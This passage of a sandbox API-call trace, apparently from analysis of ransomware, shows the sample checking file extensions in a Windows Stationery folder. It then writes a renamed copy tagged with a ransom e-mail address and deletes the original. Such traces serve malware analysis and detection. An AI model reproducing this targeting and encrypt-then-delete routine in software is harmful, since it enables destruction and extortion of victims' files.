67 [0039.698] lstrlenW (lpString=".doc") returned 4 [0039.698] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0039.698] lstrlenW (lpString=".docx") returned 5 [0039.699] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0039.699] lstrlenW (lpString=".pdf") returned 4 [0039.699] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0039.699] lstrlenW (lpString=".xls") returned 4 [0039.699] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0039.699] lstrlenW (lpString=".xlsx") returned 5 [0039.699] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0039.699] lstrlenW (lpString=".ppt") returned 4 [0039.699] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0039.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0039.699] lstrlenW (lpString=".zip") returned 4 [0039.699] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0039.699] lstrlenW (lpString=".rar") returned 4 [0039.699] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0039.699] lstrlenW (lpString=".bz2") returned 4 [0039.699] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0039.699] lstrlenW (lpString=".7z") returned 3 [0039.699] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0039.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0039.699] lstrlenW (lpString=".dbf") returned 4 [0039.699] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0039.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0039.699] lstrlenW (lpString=".1cd") returned 4 [0039.699] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0039.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0039.699] lstrlenW (lpString=".jpg") returned 4 [0039.699] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0039.699] lstrcmpiW (lpString1=".jpg", lpString2=".gold") returned 1 [0039.699] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0039.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.700] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2575) returned 1 [0039.700] CloseHandle (hObject=0x1fc) returned 1 [0039.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0039.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0039.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0039.700] lstrlenW (lpString=".doc") returned 4 [0039.700] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0039.700] lstrlenW (lpString=".docx") returned 5 [0039.700] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0039.700] lstrlenW (lpString=".pdf") returned 4 [0039.700] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0039.700] lstrlenW (lpString=".xls") returned 4 [0039.700] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0039.700] lstrlenW (lpString=".xlsx") returned 5 [0039.700] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0039.700] lstrlenW (lpString=".ppt") returned 4 [0039.700] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0039.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0039.701] lstrlenW (lpString=".zip") returned 4 [0039.701] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0039.701] lstrlenW (lpString=".rar") returned 4 [0039.701] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0039.701] lstrlenW (lpString=".bz2") returned 4 [0039.701] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0039.701] lstrlenW (lpString=".7z") returned 3 [0039.701] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0039.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0039.701] lstrlenW (lpString=".dbf") returned 4 [0039.701] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0039.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0039.701] lstrlenW (lpString=".1cd") returned 4 [0039.701] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0039.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0039.701] lstrlenW (lpString=".jpg") returned 4 [0039.701] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0039.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0039.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0039.701] lstrlenW (lpString=".doc") returned 4 [0039.701] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0039.701] lstrlenW (lpString=".docx") returned 5 [0039.701] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0039.701] lstrlenW (lpString=".pdf") returned 4 [0039.701] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0039.701] lstrlenW (lpString=".xls") returned 4 [0039.701] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0039.701] lstrlenW (lpString=".xlsx") returned 5 [0039.701] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0039.701] lstrlenW (lpString=".ppt") returned 4 [0039.701] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0039.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0039.701] lstrlenW (lpString=".zip") returned 4 [0039.701] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0039.701] lstrlenW (lpString=".rar") returned 4 [0039.701] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0039.701] lstrlenW (lpString=".bz2") returned 4 [0039.701] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0039.701] lstrlenW (lpString=".7z") returned 3 [0039.701] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0039.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0039.701] lstrlenW (lpString=".dbf") returned 4 [0039.701] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0039.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0039.702] lstrlenW (lpString=".1cd") returned 4 [0039.702] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0039.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0039.702] lstrlenW (lpString=".jpg") returned 4 [0039.702] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0039.702] lstrcmpiW (lpString1=".gif", lpString2=".gold") returned -1 [0039.702] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0039.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.702] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=4587) returned 1 [0039.702] CloseHandle (hObject=0x1fc) returned 1 [0039.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0039.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0039.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0039.703] lstrlenW (lpString=".doc") returned 4 [0039.703] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0039.703] lstrlenW (lpString=".docx") returned 5 [0039.703] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0039.703] lstrlenW (lpString=".pdf") returned 4 [0039.703] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0039.703] lstrlenW (lpString=".xls") returned 4 [0039.703] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0039.703] lstrlenW (lpString=".xlsx") returned 5 [0039.703] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0039.703] lstrlenW (lpString=".ppt") returned 4 [0039.703] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0039.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0039.703] lstrlenW (lpString=".zip") returned 4 [0039.703] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0039.703] lstrlenW (lpString=".rar") returned 4 [0039.703] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0039.703] lstrlenW (lpString=".bz2") returned 4 [0039.703] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0039.703] lstrlenW (lpString=".7z") returned 3 [0039.703] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0039.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0039.703] lstrlenW (lpString=".dbf") returned 4 [0039.703] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0039.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0039.703] lstrlenW (lpString=".1cd") returned 4 [0039.703] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0039.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0039.704] lstrlenW (lpString=".jpg") returned 4 [0039.704] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0039.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0039.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0039.704] lstrlenW (lpString=".doc") returned 4 [0039.704] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0039.704] lstrlenW (lpString=".docx") returned 5 [0039.704] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0039.704] lstrlenW (lpString=".pdf") returned 4 [0039.704] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0039.704] lstrlenW (lpString=".xls") returned 4 [0039.704] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0039.704] lstrlenW (lpString=".xlsx") returned 5 [0039.704] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0039.704] lstrlenW (lpString=".ppt") returned 4 [0039.704] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0039.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0039.704] lstrlenW (lpString=".zip") returned 4 [0039.704] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0039.704] lstrlenW (lpString=".rar") returned 4 [0039.704] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0039.704] lstrlenW (lpString=".bz2") returned 4 [0039.704] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0039.704] lstrlenW (lpString=".7z") returned 3 [0039.704] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0039.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0039.704] lstrlenW (lpString=".dbf") returned 4 [0039.704] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0039.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0039.704] lstrlenW (lpString=".1cd") returned 4 [0039.705] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0039.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0039.705] lstrlenW (lpString=".jpg") returned 4 [0039.705] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0039.705] lstrcmpiW (lpString1=".gif", lpString2=".gold") returned -1 [0039.705] lstrlenW (lpString="Connectivity.gif") returned 16 [0039.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.705] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2319) returned 1 [0039.705] CloseHandle (hObject=0x1fc) returned 1 [0039.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0039.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0039.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0039.706] lstrlenW (lpString=".doc") returned 4 [0039.706] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0039.706] lstrlenW (lpString=".docx") returned 5 [0039.706] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0039.706] lstrlenW (lpString=".pdf") returned 4 [0039.706] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0039.706] lstrlenW (lpString=".xls") returned 4 [0039.706] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0039.706] lstrlenW (lpString=".xlsx") returned 5 [0039.706] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0039.706] lstrlenW (lpString=".ppt") returned 4 [0039.706] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0039.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0039.706] lstrlenW (lpString=".zip") returned 4 [0039.706] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0039.706] lstrlenW (lpString=".rar") returned 4 [0039.706] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0039.706] lstrlenW (lpString=".bz2") returned 4 [0039.706] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0039.706] lstrlenW (lpString=".7z") returned 3 [0039.706] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0039.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0039.706] lstrlenW (lpString=".dbf") returned 4 [0039.706] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0039.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0039.706] lstrlenW (lpString=".1cd") returned 4 [0039.706] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0039.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0039.706] lstrlenW (lpString=".jpg") returned 4 [0039.706] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0039.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0039.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0039.706] lstrlenW (lpString=".doc") returned 4 [0039.706] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0039.706] lstrlenW (lpString=".docx") returned 5 [0039.706] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0039.706] lstrlenW (lpString=".pdf") returned 4 [0039.706] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0039.706] lstrlenW (lpString=".xls") returned 4 [0039.706] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0039.706] lstrlenW (lpString=".xlsx") returned 5 [0039.707] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0039.707] lstrlenW (lpString=".ppt") returned 4 [0039.707] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0039.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0039.707] lstrlenW (lpString=".zip") returned 4 [0039.707] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0039.707] lstrlenW (lpString=".rar") returned 4 [0039.707] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0039.707] lstrlenW (lpString=".bz2") returned 4 [0039.707] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0039.707] lstrlenW (lpString=".7z") returned 3 [0039.707] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0039.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0039.707] lstrlenW (lpString=".dbf") returned 4 [0039.707] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0039.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0039.707] lstrlenW (lpString=".1cd") returned 4 [0039.707] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0039.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0039.707] lstrlenW (lpString=".jpg") returned 4 [0039.707] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0039.707] lstrcmpiW (lpString1=".ini", lpString2=".gold") returned 1 [0039.707] lstrlenW (lpString="Desktop.ini") returned 11 [0039.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.707] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=645) returned 1 [0039.707] CloseHandle (hObject=0x1fc) returned 1 [0039.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0039.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.708] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.708] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.708] GetLastError () returned 0x0 [0039.708] ReadFile (in: hFile=0x1fc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x285, lpOverlapped=0x0) returned 1 [0039.709] WriteFile (in: hFile=0x178, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x290, lpOverlapped=0x0) returned 1 [0039.710] ReadFile (in: hFile=0x1fc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.710] WriteFile (in: hFile=0x178, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0039.710] SetEndOfFile (hFile=0x178) returned 1 [0039.710] CloseHandle (hObject=0x178) returned 1 [0039.711] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.711] SetEndOfFile (hFile=0x1fc) returned 1 [0039.712] CloseHandle (hObject=0x1fc) returned 1 [0039.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x26) returned 1 [0039.712] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0039.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0039.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0039.713] lstrlenW (lpString=".doc") returned 4 [0039.713] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0039.713] lstrlenW (lpString=".docx") returned 5 [0039.713] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0039.713] lstrlenW (lpString=".pdf") returned 4 [0039.713] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0039.713] lstrlenW (lpString=".xls") returned 4 [0039.713] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0039.713] lstrlenW (lpString=".xlsx") returned 5 [0039.713] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0039.713] lstrlenW (lpString=".ppt") returned 4 [0039.713] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0039.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0039.713] lstrlenW (lpString=".zip") returned 4 [0039.713] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0039.713] lstrlenW (lpString=".rar") returned 4 [0039.713] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0039.713] lstrlenW (lpString=".bz2") returned 4 [0039.713] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0039.713] lstrlenW (lpString=".7z") returned 3 [0039.713] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0039.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0039.713] lstrlenW (lpString=".dbf") returned 4 [0039.713] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0039.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0039.713] lstrlenW (lpString=".1cd") returned 4 [0039.713] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0039.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0039.713] lstrlenW (lpString=".jpg") returned 4 [0039.713] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0039.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0039.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0039.714] lstrlenW (lpString=".doc") returned 4 [0039.714] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0039.714] lstrlenW (lpString=".docx") returned 5 [0039.714] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0039.714] lstrlenW (lpString=".pdf") returned 4 [0039.714] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0039.714] lstrlenW (lpString=".xls") returned 4 [0039.714] lstrcmpiW (lpString1=".xls", lpString2=".ini") 